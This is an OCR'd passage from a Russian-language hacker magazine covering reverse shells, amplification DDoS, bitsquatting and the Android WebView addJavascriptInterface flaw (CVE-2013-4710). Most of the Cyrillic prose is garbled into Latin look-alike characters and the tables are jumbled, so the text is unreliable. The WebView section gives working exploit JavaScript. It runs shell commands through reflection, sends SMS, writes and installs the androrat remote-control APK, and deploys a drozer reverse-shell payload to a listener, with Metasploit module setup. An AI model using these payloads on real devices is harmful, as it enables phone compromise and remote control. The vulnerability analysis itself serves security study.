He Bce Aeno, B Ilobom cnyvae Tebe notpedyeTcs BO3ZMOXHOCTb yAaNeHHOro KOH-
TPONs Haj, CeEpBEPOM — TO €CTb LUEJI.

OfoHUM 13 BaXHbIX MOMEHTOB 3TOr0 MeTOoAa SIBNSETCS He3aMeTHOCTb
oT Bcakux IDS, a TakXe «NpoHULLAaeMOCTb», 4TO 1. BTOPOI NyHKT CBSI3aH C TEM,
4TO OBbIY4HO TIOMAEMbIE XOCTbl HE TOPYAT HAMPSMYIO HAPYXY, @ HAXOAATCS BHY-
TpW KoprnopaTtueHon cetn unn B M3, To ecTb 3a daripsonom, NAT'om nnn ewte
4eM-T0. [103TOMY eCiv Mbl MPOCTO OTKPOEM MOPT C LUEJSIOM Ha Hallen XepTse,
TO NOAKMOYMTBLCS Mbl TyAa He cMoxeM. NoyTn Bceraa reverse shell’bl nydwe, Tak
KaK OHV CamK MOAKIIIYAIOTCS K HAM 1 OTKPbIBATb MOPThI He TpebyeTcs. Ho n Tam
ObIBaOT CNOXHble cuTyaumn. OanH N3 camblx «npobreaembix» wennos — DNS
shell, Tak kak Hawe obueHre C LWEeNNoM NPOUCXOOUT HEe HanpsMyio, a Yyepes
KopropatueHbii DNS-cepBep (4epes3 3anpochl K Hawemy AoMeHy). Ho paxe
3TOT MeTof paboTaeT He BCeraa, Tak YTo MPUXOAMTCS BbIKpy4MBaTbCs. B Tom xe

Metasploit’e ecTb MHTEPECHBI reverse-wenin. Mpu ctapte OH NpobyeT NoAKII0-
4YnUTbCS NO BCceMy anana3oHy TCP-nopToB k Hallemy cepBepy, NbiTasicb BbISBUTb
ObIpKy B npaBunax daripeosia. MoxeT cpaboTtaTtb B onpeaefieHHbIX KoHbUrypa-
LMSX.

Takxe nHTepecHbli PoC 6bin NpeacTaBiieH 0THOCUTENBHO HeaaBHO. B kaye-
CTBE OCHOBbI 191 Nepefayn gaHHbIX ncnonb3yetca He TCP nnn UDP, a TpaHc-
nopTHbI npoTokon — SCTP. Cam 3TOT NPOTOKON AOCTATOYHO MOJIOAON U Npu-
wenwus T6ﬂe¢OHVII/I oT TenekomMoB. OH SBNSeTCA HECKOSIbKO OI'ITI/IMI/ISI/IpOBaHHOVI
Bepcuein TCP. B kayecTBe duLieyek NpoToKoIa MOXHO BbIAENNTL: YMEHbLUEHNE
3a[epXek, MHOrornoTO4YHOCTb, NMOAAEPXKKY Mepenadn OaHHbIX MO HECKONbKUM
nHTepdecam, 6onee 6e30MnacHyto yCTaHOBKY COEAMHEHMS U KOE-4TO eLle.

Y10 camoe MHTepecHoe OJis Hac — OH nogaepxwueaetcs Bo mHorux OC.
B ocHoBHOM *nix, HO HOBble Windows Bpoge Toxe NoAAepXMBaloT ero nu3 Ko-
pobkM (xOTa aKTUHECKOro NOATBEPXAEHUS S He Hawen). KoHe4yHo, He cy-
nepxamnTek, HO NOAOGHbIV LWens, BEPOSTHO, HEe TaK YX U Nerko AeTekTupyeTcs
IDS’kamu, 4To Ntoc gns Hac. B obuwem, moTaem Ha yc, a cam wenn 6epem 34ech:
insecurety.net/?p=765.

£ infodox@longeat:~ 80x24

Mpumep cinsecurity.netreverse sctp wwennayepesncat

3ADOSHTb C MOMOLLbH) AMPLIFICATION-ATAK

infodox@longcat:~ B0x24

PELWWEHUE

Mei yxe He pa3 B Easy Hack’e kacanunce Takoli Temsl, kak amplification DDoS
ataku. CyTb UX B TOM, 4TO aTaKkyloLMiA MOXET NOCnaTb Ha HEKUIA CEPBUC 3anpoc
OT UMEHU XepTBbl, 8 OTBET NpY 3TOM OyAeT OTNPaB/EH 3HAYMTENBHO (B pasbl)
60nbLMIA NO pasmepy. Bo3MOXHbI 3T ataku Npexae BCero n3-3a Toro, YTo cam
npotokon UDP He npeanonaraeT yCTaHOBAEHWS COEOMHEHUs (OTCYTCTBYET
handshake, kak B8 TCP), To ecTb Mbl MOXeM nogMeHaTb IP oTnpasutens, 1 ns-
3a TOro, 4TO MHOIME CEPBUCHI OYEHb «OONTNNBLI» (OTBET 3HAYUTENBHO GosbLUE
3anpoca) 1 pabotatoT «6e3» ayTeHTUudmKaumm (TodHee, HeT YCTaHOBKM COeaMHe-
HWS Ha 6oJIee BbICOKOM YPOBHE).

Boobue, Ha Temy DNS amplification atak B CeTn 6bin1 He Tak AaBHO 60Sb-
Lo xaiin. Ha moei namsatn B nocneaHel noao6Hoi atake ncnonb3osanu NTP-
cepBuchkl. Lndpbl 6binm 3anpenenbHbiMM — COTHWU rmrabuT... Ho MHe 3axoTenoch
BEPHYTbCH K 3TOW Teme, 4TOObl MOAYEPKHYTb BaXHYIO BeLLb: 4TO 3TO rnybokas
npo6nemMa, KOTOPylo MCNpPaBuTbL B Gamkalilume roabl Bpag, nn nonyyutcs. Mpo-

MEPEXBATUTb DNS C MOMOLLbH) BITSQUATTING

6nema npexgae Bcero B UDP, n HET cMbICna «MCMpaBnsiTb» KOHKPETHbIE MPOTOKO-
nbl — DNS, NTP v Tak ganee (xots 6onee 6e3onacHble KOHGUrypaumm no ymon-
YyaHuio Obinn Obl nNonesHbl). Beab aHanormyHble amplification-atakn MoxHO
NPOBOAUTL C UCMONb30BaHNeM npoTtokona SNMP (co ctaHgapTHOM community
string — public) nnu NetBIOS, nnn meHee M3BECTHLIX MPOTOKOMOB, Kak Ha-
npumep y Citrix. Cioga xe MOXHO [006aB/Tb U pa3fnyHble ceTeBble Urpbl. Ja-
na, y MHorux n3 Hux (Hanpumep, Half-Life, Counter-Strike, Quake) B kauecTe
TpaHcnopTa Takxe ucnonsdyercs UDP, 1 4epes HUX Mbl TakXe MOXEM KOro-To
DDoS’'uTb. Ctofa e MOXHO f06aBUTb N CEPBUCHI MOTOKOBOIrO BUAEO.

KomnaHus Prolexic BbinycTuna psn HeOOMbLIMX MCCNemoBaHuin (g00.gl/
iIXFgN), NOCBSILLEHHbIX KaK TUMOBbLIM, Tak U «HOBbIM» MeToAaMm aTtak. HTepec-
HOCTb MCCefoBaHUiA 3aktoyaeTcsl B NoAG0pKax KOHKPETHbIX KOMaH, AJ1s pas-
JINYHBIX MPOTOKOOB, UX BO3MOXHO MCMONb30BaTh AJ151 aTakn, B MOACHETE KOId-
GULMEHTOB yCUNEHUS atakm (OTHOLLIEHNE pa3mepa OTBETa K pasMmepy 3anpoca),
a Takxe B PoC-Tynse, ¢ NOMOLLbIO KOTOPOI MOXHO NPOBOAUTb UIX.

PELWLEHUE
He o6paLuait BHUMaHWsi Ha CTPaHHYI0 MOCTaHOBKY 3aAaqun. Kakoe-To Bpemsi Ha-
3aA, Mbl Y€ BCKOJIb3b KacalMCb 3TOW TeMbl B OAHON N3 «HEMPODUIbHBIX» Py-
6puK, ceiyac xe OCTaHOBUMCS Ha Hell nonoapobHee. Ho pasali no nopsiaky,
C KJTaCCUKM.

Tbl, kKak 1 NGOV Opyrol nosib3oBaTesb WHTEPHEeTa, WHOraa, BEepOsTHO,
BOMBaellb B aJpeCHYlD CTPOKY WUMS Xenaemoro cavrta. M uHorma cnyvaet-
C$l, 4TO Thbl OWMBaeLbCA B UMEHN 1 nonajaellb BMECTO MHTepecyioLLero Tebs
youtube.com Ha yuotube.com. Vnn BeYHble HEMOHATKM C AOMEHaMKU NMepPBOro
ypoBHSE — vk.com mnu vk.ru? Tak BOT, TEXHWKA, KOraa PErMCTPUPYETCS HEKOE
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MHOXECTBO [OMEHHbIX UMEH, HECKONIbKO OT/IMYAIOLMXCS OT arakyemoro, Ha-
3bIBaeTcsa typosquatting. 3apernctpnpoBaB KX, Xakep MOXET cAenatb TOYHYI0
KOMUIO aTakyemMoro caiTa, a ganblue CUAETb U XAATb NPUXoAa OWNOMBLLMXCS
nocetutenen. MNMpuyemMm BO MHOIMX CNy4yasix OH Oaxe MOXET Monay4nTb Nnerasib-
HbI cepTudukaTt, NOANUCAHHBIN AOBEPEHHBIM LEHTPOM cepTudurkaumm. To ecTb
OYeHb MPOCTO MOXHO OPraHN30BaTh OTINYHbIA DULLIMHT, KOTOPbIN HE CMOXET OT-
NINYUTb CPEOHECTATUCTUYECKNIA NOSIb30BATE Nb.

Ho aT0 BCe He 04eHb MHTepecHOo, He «kpacuBo». Kyna 6onee nHTepecHas
«Haxopgka» Gbina npeacrtaeneHa Ha Black Hat Las Vegas 2011 (g0o0.gl/jG53VS)
pecepyepom ¢ umeHem Artem Dinaburg. O4yeHb-04eHb HEOXNOAHHO, HO OKa3bl-
BaETCH, HTO KOMMbIOTEPLI TOXE OLWMBaoTCs. MOXET Cy4uThCs, YTO MO KAKON-TO
NPUYMHE rae-To CMeHsTCs oamH-ABa 6uta ¢ 0 Ha 1 nnmM Hao6opoT, U BCE — MbI
yXe MMeeM HOBbI 3anpoc... Ho 1 3aberato Bnepea.

B uccnepoBaHMn pacckasblBaeTCsi, YTO KOMMbIOTEPbI COBEPLLAIOT OLWMOKMN
1 MPONCXOAMNT 3TO Aaxe O4YeHb 4acTo. A rmaBHOe, kacaeTcs 370, MO CyTw, BCex
KOMMbIOTEPOB (CepBepbl, CMapPThOHbI, CeTeBble AeBaliCbl, HOYTOYKM) U HUKaK
He CBSI3aHO C UX NOSIOMaHHOCTbIO. OCHOBHOE MECTO NOSIBIEHUS OLLMOOK — one-
paTtvBHas namsTb. Mpuyem B 6onee obLiem cmbicie. Kpome Tex nnatlek, KoTo-
pble CTOSIT B TBOEM [€Baiice, eCTb eLle Kell y NpoLeccopa, Kew y BuH4ecTepa
1 B CETEBYXE U Tak Aanee.

[Moyemy NosiBAAOTCS OLLIMOKN? MPUYMH MHOMO — OT MEeJIKUX HEUCMNPaBHOCTEN
0,0 NOBbILLEHHbLIX TEMMNEPATYP (AaXe Ha KaKoe-TO BPEMS) NN BO3AENCTBUS pas-
JINYHBIX BUAOB U3nyyYeHuit. Takum 06pa3om, LWaHC CMEeHbl 3HAYEHUs1 Kakoro-To
61Ta B KAKON-TO CTPOKE, XPaHALLENCS B NAMSATN, CTAHOBUTCS BbICOK. [la, KOHeY-
HO, ecTb ECC-namsaTh (C Koppekuuei olmnbok), HO MPMMEHEHME ee He CTOJIb Ya-
CTO, 0COB6EHHO BO BCTPaMBaeMbIx AeBalicax, CMapTPOHax 1 KeLax yCTPOMCTB.

Ho BepHeMcs K WwaHcaMm Ha oLmnbky. Kak HW cTpaHHO, Mo 3TOMY NOBOAY €CTb
Hekasi «CTaTUCTMKa» (CM. CKPUHLIOT). nmaBHoOM xapaktepucTtukon ssnsetcs FIT
(Failures in time), rae 1 FIT paBeH ogHOM owmnbke Ha OAMH MUIMAPA, 4acoB pa-
60Tbl. Xyawwnii pedynstar — 81 000 FIT Ha 1 MGuT namsTu (1 owmnbka B 1,4 ropa),
a nydwmnin — 120 FIT Ha 1 M6uT namatu (1 owwnbka B 950 net). [a, pesynbratsl
3TW, Ka3anocb Obl, He BMEYATNIAIOT, HO €CNN Y4eCTb, YTO NaMaTh y Hac GonbLue
yem 1 MOUT, 1 B3ATb 32 OCHOBY CpefHee 3HadeHne B 4 [0, To Aaxe Ha HaunyyLlein
namsat (120 FIT) Mbl nonyyrm Tpu owmnbku B Mecal,. (JIM4HO He nepecymTbiBan,
[a 1 Npy4MHa pacHeToB B 6uTax, a He 6ariTax MHe HEMOHATHA, Tak 4To Byaem Ha-
NeaTbCs Ha NPaBUIbHOCTb PACYETOB.)

A ecnu xe paclumpuTb 3TK pacyeThbl Ha Bce AeBaiickl B uHTepHeTe? ABTOop Ge-
peT 3a OCHOBY KONIMYECTBO AEBaViCOB B pa3mepe 5 MUInnapaos 1 cpegHee Ko-
nn4yecTBO NamsaTy B 128 M6. Ceivac cpefHue 3Ha4eHns, BEPOATHO, Aaxe Bbille.

Monyyaetcs:

Commercial CMOS Memory 4 million - 400 million

+ 5x10"9x 128 M6 = 5,12 x 1012 MOGuT — obLLee KOIMYECTBO NaMSATH;
+ 5,12x10"12 M6uT x 120 FIT= 614 400 oum60K/u.

Lindpsbl, KOHEYHO, «B CpefHeM Mo nanare», HO OHW YTO-TO Aa roBOpPAT Ham!
O’Kkeit, Mbl MOHSANN, YTO OLUMBOK MHOI0, HO PE30HHbI BONPOC — K YeMY 3TO BCE?

Pecepuep npugyman cnocob, kak 3TMM BOCMOJIb30BATbCH, — TEXHUKY
bitsquatting. OHa aHanornyHa typosquatting’y, HO B ka4ecTBe OCHOBbI AJ191 BbIOO-
pa fomeHa 6epyTcst MMeHa, OTiMyaloLwmecs Ha OAMH-A8a 6UTa OT NPaBUIbHOrO
nmenn. Hanpumep, Microsoft.com n mic2soft.com. Bmecto r ctout 2. MNotomy
yto r — 3710 01110010, a 2 (kak cumeon) — 00110010, To ecTb 3amMeHeHa BTOpas
e[MHNLA Ha HONb.

Taknum o6pas3om, Koraa Kakon-To AeBaic owmbeTcs 1 nonbiTaeTcs npope-
30/1BMTb BMECTO microsoft.com gomeHHoe nmsa mic2soft.com, To yxxe nonaget
K HaMm. Hy n noggomMeHbl, COOTBETCTBEHHO, TOXE K HaM NMonayT.

C ppyroii CTOPOHbI, AaBail BCMIOMHUM, YTO OLWMOKW MOSIBASIOTCS U MOTyT
YTO-TO MOMEHSATb B NAMATW B PA3/IMYHOE BPEMS M B PA3HbIX y4acTKax namsiti.
He Bcerga 3710 CBA3aHO C AOMEHHbIMU uMeHamu. K Tomy xe psag, owmbok cpe-
3aTbCs MOTYT 32 CHET NPOBEPKM LIEIOCTHOCTY B Pa3NNYHbIX NMPOTOKONAx.

C perucrpauyvein [OMEHOB CO COBUXKOW Ha OGUT ToXe ecTb npobsiemsbl. Bo-
nepBbIX, MPU CMEHEe HEKOTOPbIX GUTOB Mbl Monagaem B 061aCTu CNeLCUMBOIOB,
1 Takne JOMEHHbIE IMeHa HeJlb3s 3aperncTpupoBatb. Bo-BTopbIx, owWn6KM B na-
MATU MOTYT BJfieYdb 3a coboii 6onee 4em 0aHOBMTOBOE N3MEHEHMe, a creaoBa-
TeNbHO, N PEMMCTPUPOBATL BCE AOMEHbI 151 BCEX KOMOWHALLMI BPSIA, I MOXHO.

Ho-HO-HO... OrOBOPOK MHOT0, a rMaBHbIi GakT ocTaeTcs — TexHuka paboTa-
eT. ADTEM 3apermcTprMpoBan HECKOJbKO AEeCSTKOB JOMEHOB U B TEHEHUE MOJYro-
[a cnegun 3a 3anpocamu, KOTopble Ha Hero npuxoaunu. Becero okono 50 Thicsay
3anpocoB 6b110 cobpaHo. B cpeaHem B AeHb 6bino no 60 noaxnoyeHuii ¢ yHu-
KasbHbIX IP (HO 6binn 1 ckadku go 1000). Mpur 3TO OH YTBEPXAAET, H4TO 3TO oYU
6e3 cnyyaliHbix 3aX040B CnanaepoB, CKaHEPOB 1 MPOYEro.

Camoli MHTepecHoW nonyyYunacb ctatuctTuka — 4To Gonbluas yactb HTTP-
3anpocoB (90%) npuxoguna ¢ HEKOPPEKTHLIM 3arosnioBkom Host (akBuBaneHT-
HblM DNS-3anpocy). A 3T0 3HaA4MT, 4TO OWMOKM BO3HUKANN HE B pesynbrarte
HekoppekTHoro DNS-pe3onga, a B peaysbrate owmbok Ha cTpaHuuax. To ecTb
B KaKOM-TO Kelle Obinia COXpaHeHa CTpaHuua, owwmbka B namsiTv nosavsna
Ha KaKylo-TO CCblIKY B HEM 1 NOTOMY Gpay3ep CTan nblTaTbCs NoArpy3nTb AaHHbIE
C HEKOPPEKTHOrO pecypca...

Mpaa. Cornacucb, TexHuka nonaxmeaet 6e3ymmem :), HO Beab paboTaert.
OueHb peKoOMeHAYI0 O3HAaKOMUTLCS U C APYro CTaTUCTMKOWN, NpeacTaBieHHON
B 9TOW paboTe.

Cnacun60 3a BH/MaHMe 1 yCreLHbIX No3HaHuii HoBoro! 3¢

ikamai.net akamai.net

0.20 | Terrazon

"some" 0.13 micron technologies 10,000 - 100,000

aeazon.com amazon.com

98 | Terrazon

a-azon.com amazon.com

1Gbit of memory in 0.25 micron 6,000 160 | Terrazon amazgn . com amazon . com
4M SRAM <4,200 230 | Terrazon microsmft.com microsoft.com
1 Gbit of DRAM (Nite Hawk) 2,300 420 | Terrazon micrgsoft. com microsoft.com
miarosoft.com microsoft.com
SRAM and DRAM 1,000 - 2,000 980 | Terrazon iicrosoft.com microsoft.com
~8.2 Gbhits of SRAM (CRAY YMP-8) 1,300 750 | Terrazon microsnft.com microsoft.com
SRAM 1.000 980 Terrazon mhcrosoft. com microsoft.com
2 eicrosoft.com microsoft.com
256 MBytes 700 1400 | Terrazon mic2osoft.com microsoft.com
160 Gbits of DRAM 700 1400 | Terrazon micro3oft.com microsoft.com
32 Gbits of DRAM (Cray YMP-8) 600 1600 | Terrazon lice.com live.com
MoSys 1T-SRAM (no ECC) 500 2000 | Terrazon gmdriEnet Zndnznet
2-dn.net 2mdn.net
Micron Estimate, 256 MBytes 120 - 240 8100 | Terrazon el LT R mat
"ultra-low" failure rates 50-100 20000 | Terrazon 2ldn.net 2mdn.net
Mfg 1, 1GB DIMM 35,000 - 59,000 28 | Schroeder, et al. 2mfn.net 2mdn. net
2mln.net 2mdn.net
Mfg 1, 2GB DIMM 7,800 - 18,000 130 | Schroeder, et al. ST TR
Mfg 1, 4GB DIMM 4,100 240 | Schroeder, et al. 6mdn.net 2mdn.net
Mfg 2, 1GB DIMM 20,000 - 26,000 49 | Schroeder, et al. fbbdn.net fbedn.net
Mfg 2, 2GB DIMM 9,900 99 | Schroeder, et al. fbgdn.net Fbedn.net
gbcdn.net fbedn.net
Mfg 3, 1GBE DIMM 81,000 12 | Schroeder, et al. ficdn.net Thedn.net
Mfg 4, 1GB DIMM 16,000 - 34,000 61 | Schroeder, et al. dbcdn.net fbedn. net
Mfg 5, 2GB DIMM 36,000 27 | Schroeder, et al. £°°Eise'z‘fe£5-":t zwgise;‘_’ef-"it
ou eCchlcK.ne oubleclicK.ng
Mfg 6, 2GB DIMM 13,000 75 | Schroeder, etal. doSbleclick.net doubleclick.net
Mfg 6, 4GB DIMM 11,000 89 | Schroeder, et al. doubleslick.net doubleclick.net

CraTtuctuka no owmnbkam s RAM

MNMpuMepbl OMEHOB, KOTOPbIE Gbiny 3aperu-
CTPUPOBaHbI 41151 UICCNIEA0BAHNS
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AHATNG CBEXEHBKUX YAZBUMOCTEW

MobunbHble TenedoHbl CTann HEOTbEMIIEMOM HYaCTbiO HALLEN XN3HK, U, KaK Obl HXN CIOPUY CO MHOM

danatbl Apple nnn Windows Phone (xoTa cama Microsoft BbinycTuna 6toaxeTHble Moaenu nog,
OpeHaom kynneHHol e HepasHO Nokia kak pa3 Ha OC Android), n3 HMX 60/bLLIYIO YaCcTb COCTaBNSAIOT
Android-yctpoicTsa. NNoaToMy cerofHsLLHNIA Haw 0630p OyaeT NOCBSLLEH Pa3/INYHbIM YA3BMMO-
CT9M B NporpamMmax aJsist 3Tom ornepaumoHHON CUCTEMBI.

YAANEHHOE BbIMNONHEHME KOA
B MO[IY/IE WEBVIEW

CVSSv2: 9.3 (Av:R/Ac:M/A:N/C:C/I:C/A:C)
Aata penu3a: 24 ceHtabpsa 2013 ropa
AeTtop: Dave Hartley, jduck

CVE: 2013-4710

BHauane ckaxem napy cnos o WebKit. 3ToT aBmxok Beb-6paysepa ¢ OTKPbITbIM
MCXOZHbLIM KOAOM MCMonb3yeTcsl B Takux 6pay3epax, kak Google Chrome, Apple
Safari, BcTpoeHHble i0S- n Android-6pay3sepbl. A WebView siBnsieTcs 4acTbio
WebKit n npeactaenseT coboi rmaBHbIi Knacc Ans 0To6paxeHns B 3TOM ppeinm-
BOpPKeE.

MHorne MobunbHble NpunoXxeHus wucnonb3ytoT WebView ans 3arpysku
HTML-AaaHHbIX, B OCHOBHOM 06paluasch K HAM Kak 00bl4HbI Opay3ep ons 3a-
rPy3K1 pasfmyHbIX pekiamMHblX Marepuanos, Tak Kak B MHTeEpecax peknamHbIX
ceTeil 0651erynTb MHTErpaLLMio CBOEro Moays Ans paspaboTynkos. B cBoto ove-
penb, Takas peknama 3arpyxaetcs no oobiiHomMy HTTP-npoTokony, 4To No3Bo-

naet 6e3 npobnem npoesectn MITM-ataku Ha MOGWIbHLIE YCTPOIACTBA, BCTABUB
npou3BONbHLIN JavaScript-koa,.

Tem 6Gonee MHoOrve nonb3oBaTenu McnonbadyloT nyb6nunyHble Wi-Fi-ceTn
B kade unm B TpaHcnopTe Ans «ObICTPOM» 3arpy3Ku MoYThbl UM KaKkoro-nmbo
pasBsnekarenbHoro suaeo. Ecnv WebView no3sonseT nonyy4nTs AOCTYM K HATUB-
HbIM GYHKUMAM Yepead JavaScript, ncnonbadys metop addJavascriptInterface,
TO aTakyloLLmMii Hepes Hero, B CBOIO 04EPeb, MOXET BbINOIHUTbL MPON3BOJIbHbIV
Java-kog. 9T0 pocturaetca 6Gnaropaps pednekcum, o6 aTon Java-TexHuke
A1 pacckasbiBan B cBoeM goknane Ha PHDays 2013.

[na ncnonb3oBaHWs 3TON YSI3BMMOCTM NPUNOXEHME AOMKHO OblTb CKOMMU-
nuposaHo gnst APl Huxe 17-11 Bepcun, MeTb NybanYHble METOAbI U, COOTBET-
CTBEHHO, ncnonb3osartb moaynb WebView. B cneayowmx xe sepcusax Android
(HaunHasa ¢ 4.2) paspaboTynkm fobaBunv nogaepxky @JavascriptInterface
(bit.ly/1A84Qwm), To ecTb ToNbKO Te JavaScript-meToapl, KOTOpble Tak nomeye-
Hbl, MOXHO 3anyckatb BHyTpu WebView. Hanpumep:

@JavascriptInterface

public void method() {
dostuff();

):
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Ha camom pene 310 He TO/nbkOo owwubka peanu3aumu,
HO 1 oLwKMbBKa Pa3paboTINKOB NMPUIOXKEHN, B 0COOEHHOCTU Taknx
peknamMHbIx ceTel. Mocne nHMUManM3aumm 3Toro Moays B CBOew
nporpamMmme MHoOrne 3a4emM-To BK/OYAIOT BbiNosiHeHne JavaScript-
KOZa, XOTS1 OH BbIK/IOYEH MO YMOYaHMIO, BPOAE 4151 0TOOpaxeHust
MaHsILLeln KapTUHKM 3TO He 06513aTeNibHo. [103TOMY B CBOEM Npu-
NOXeHWW XenaTesbHO OTKIK04YaTb ero BPpy4Hyo:

webview = new WebView(this);
webview.getSettings().setJavaScriptEnabled(false);

Takxe xenarenbHO OTKN0YUTL JOCTYN K SIoKasbHbIM dannam,
KOTOprVI BKJTIOYEH MO YMOJTHaHUIO:

webview.getSettings().setAllowFileAccess(false);

KcTtatn, nogo6Has ysa3BUMOCTb YXKe Haxoamiach paHee 1 SBfisi-
eTcsa «npogomkeHnem» CVE-2012-6636.

EXPLOIT

Mepegem K npakTuyeckum npumepam. Jonyctum, y Hac
ecTb nporpamMmma, ncnosb3yoLas android.webkit.
JavascriptInterface n WebView:

public class WebViewGUI extends Activity {

WebView mWebView;

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mWebView=new WebView(this);
mWebView.getSettings().«
setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(newe
JavaScriptInterface(), "jsinterface");
mWebView.loadUrl("file:///android_asset/«
www/index.html");
setContentView(mWebView);

¥

final class JavaScriptInterface {
JavaScriptInterface () { }
public String getSomeString() {

return "string";

)

)

¥

Bbi30B 370l DyHKLMM ByaeT Taknm:

var String = window.jsinterface.getSomeString();

Ho, ncnone3ys nHtepdenic jsinterface n pednekcumio, Mol
MOXEM BbINOJIHATb pa3/invyHble CUCTEMHbIE KOMaHAbl C MOMOLLbIO
java.lang.Runtime (bit.ly/1TrmwLTM):

<script>

function execute(cmd){
return window.jsinterface.«
getClass().forName('java.lang.Runtime") .«
getMethod('getRuntime',null).invoke(null,null) .«
exec(cmd);

execute(['/system/bin/sh",
/mnt/sdcard/text.txt']);
</script>

, 'echo \"text\"

Yepes Takyio PYHKLMIO Mbl MOXEM BbINOSHATb JIIOObIE KOMaH-
[bl, KaK B 0ObIY4HOM LUESIIe, HO 3TUM BO3MOXHOCTM HE OrpaHnym-
BaloTCsA. Huxe npeacraBneHbl, Ha MO B3rns, AOBOJIbHO UHTE-
pecHble NpYMepbl UCMO/Ib30BaHMS TOW BO3MOXHOCTU, KOTOPbIE
1 CMOr HaviTn Ha npocTtopax CeTu.

Mpumep kopa, oTKpbIBAKOLWMIA 4OCTYN K oTnpaskam SMS, no-
CTYM K KOTOPbIM BCErAa XOTAT MOJTYYUTh 3/10YMbILLIEHHUKM:

var obj_smsManager = jsinterface.getClass().«
forName("android.telephony.SmsManager") .«

Admarvel

Flurry

WARNING

Bcsi nndopmaums npepo-
CTaB/eHa UCKNIOYMTENbHO

Millenial Media

B 03HAKOMUTESbHbIX Medialets

ensx. Hu pegakums .

u pepakuws, Greystipe

HY aBTOP HE HeCYT OT-
BETCTBEHHOCTU 32 N1106OiA adWhirl
BO3MOXHbIiA Bpes, npu-

16I1 BDEA, NP freewheel
YMHEHHbIV MaTepuanamm
[LLaHHOM CTaTbM.

getMethod ("getDefault", null).invoke(null, null);
obj_smsManager.sendTextMessage("+7987654321",
null, "pwned", null, null);

MpaBga, ons aToro ciyyas Heobxoaumo, YTobbl y ySA3BMMO-
ro MpUIOXEHUA MPUCYTCTBOBaIM HYXHble npaBa — android.
permission.SEND_SMS.

lMpumep Koaa, peannayioLwwero yaaneHHoe ynpasneHne cmap-
TOM 4Yepe3 CUMOMO03 C YTUIMTON yAaNeHHOro aAMUHUCTPUPOBA-
Hua ana Android-yctponcts, — androrat (bit.ly/1unDZvD). Tonbko
Ons Hadana HyxHo 6yneT npepctaBuTe APK-daiin B Buae hex-
CTPOKM, BOCMOJIb30BABLUNCL KaKMM-HUOYAbL KOoHBepTepoM. Ecnn
daiin He OyoeT ymMelwarbcs B OOHY CTPOKY, TO pa3bei ee Ha He-
CKOJ1bKO:

var armBinaryl = "\\x50\\x4B...";

var armBinary2 = "\\x1B\\xBO...";

var patharm = "/mnt/sdcard/androrat.apk";

execute(["/system/bin/sh","-c","echo -n '" + <
armBinaryl+ "' >> " + patharm]);

execute(["/system/bin/sh", "echo -n '" + &
armBinary2 + "' >> " + patharm]);

execute(["/system/bin/sh","-c","adb install«
/mnt/sdcard/androrat.apk”]);

"

Mnu moxeLlb ycTaHOBUTBL Ntobyto Apyryio nporpammy. Keratu,
noao6HbI MeTon, yCTaHOBKM Yepes KOMaHAHYIO CTPOKY NPUMEHEH
B pPa3/INYHbIX BPEAOHOCHLIX Nporpammax ans Android, npuyem He-
KOTOpblEe ANs CO30aHUs CBOMX «OOTHETOB» MCMOML3YIOT Kak pa3
androrat.

[na npoBeneHus atakm Tbl MOXELb co3patb cBoio HTML-
CTpaHuLy BPYYHYO, Unn ,06aBUTb B MAKeT Kakon-H1byab 13 npen-
CTaBJIEHHbIX BblLLIE KOAO0B, UK XXe BOCMNOJ/1b30BaTbCA rOTOBbIMU pe-
LEeHNsIMU. HeckonbKo 13 HUX NpeacTaBieHbl B BUAE NPUTOXEHNS
Drozer (bit.ly/1cJOjY8) ot MWR labs, koTopble 1 06HapyXunu aTy
YSI3BUMOCTb, Mocnie 4Yero Ao6aBunn Takoi GyHKUMOHaN B CBOIO
nporpammy ans nexHtecta Android-npunoxeHuin. Hy n KOHeYHO
xe, Metasploit, kK koTopoMy BepHemcs 4yTb no3xe. Cnmcok no-
JIe3HOW Harpy3sKku:

i1 POCWebView

POC - HTML page with JS New message

Press here to send SMS COmpOSE new message

63

Cnucok peknam-
HbIX CeTeil, KoTopble
MUCMONb3YIOT NepBble CTO
GecnnaTHbIX NporpaMmm
B Google Play

HTML-cTpaHuua
Ang ornpaeku SMS

MonyyenHas
SMS, koTopas Gbina
oTrnpassieHa C MOMOLLbIO
JavaScript-koaa

Dl & 6:12m

Vulnerable Device

pwned

6:11PM
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@™ Androrat Project

Phone Nurmber

Location

Operator

7 e

Country Sl | Operator i || Serial SIi

Launch atWed Jul 03 11:00:04 PDT 2013

Pnport: 9999|

ved Jul 0311:00:04 PDT 2013 SERVER online, awaiting For a client...

ved Jul 0311:00:44 PDT 2013 Connection established,temporary IME| was assigned: 0client
ved Jul 0311:00:44 PDT 2013 SERVER online, awaiting For a client...

ved Jul 03 11:00:45 PDT 2013 CONNECT command received from 357242043237517

$ drozer payload list
shell.reverse_tcp.armeabi
TCP Shell (ARMEABI)
weasel.reverse_tcp.armeabi

Manens
ANa ynpaeneHus Establish a reverse«
Android-ycTpoiictBamu

C YCTaHOBJIEHHbIM weasel through «

androrat a reverse TCP Shell (ARMEABI)
weasel.shell.armeabi Deploy weasel, through «
Mpumep 3anycka a set of Shell commands (ARMEABI)
Metasploit-monynsa
ANS 3KCnyaTaumm yas- Mpumep nonyyeHHoro JavaScript-koaa ¢ BbIGpaHHbIM LLESNIOM:
BuMoOcTel B JavaScript
Interface $ cat drozer.js

var host = '192.168.1.99°';
var port = '31415';
var path = 'data/com.vuln.app/files/weasel’;
function execute(cmd){
return window.interface.getClass().«
forName('java.lang.Runtime'). «
getMethod('getRuntime',null).invoke«
(null,null).exec(cmd);
¥
execute(['/system/bin/rm"',path]);
execute(['/system/bin/sh',"'-c', 'echo -e
> '+path]);
execute(['/system/bin/chmod’, '770"',path]);
execute([path,host,port]);

Ecnn Hawa nonesHas Harpyska OyaeT ycrielwHo BCTaBfieHa
BWebView, To OHO 3anuLLET 1 BbINOMHUT BbIOPaHHbIV Lens. KoTopsii,
B CBOIO 04epeb, COBEPLUNT KOHHEKT K Halemy Drozer-cepeepy:

$ drozer server start
Starting drozer Server, listening on 0.0.0.0:31415

C HepaBHero BpemeHu B Metasploit cywlecTBylOT mMoaynm
ana OC Android. 3anyCTum HyXHbliA HAM MOAYNb, KOTOPbLIA NOA-
HUMET aTaKkyoLLMiA CEPBEP HA HaLLen cucteme:

msf > use exploit/android/browser/«
webview_addjavascriptinterface

msf exploit(webview_addjavascriptinterface) > «
set LHOST 192.168.81.135

LHOST => 192.168.81.135

